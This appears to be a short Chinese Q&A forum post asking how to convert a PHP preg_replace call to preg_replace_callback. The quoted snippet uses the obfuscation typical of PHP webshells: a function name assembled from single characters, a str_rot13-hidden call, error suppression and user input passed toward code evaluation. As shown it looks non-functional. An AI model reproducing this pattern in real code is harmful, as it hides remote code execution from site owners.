weixin_36303425
weixin_36303425
2020-03-04 19:07

Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback

  • php
  • 正则表达式
function abcd($ab){
$xx="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$xx("/ee/","@".str_rot13("HUOHUO").\'($ab)\', "ee");
}

怎么修改成preg_replace_callback的形式?

  • 点赞
  • 回答
  • 收藏
  • 复制链接分享

0条回答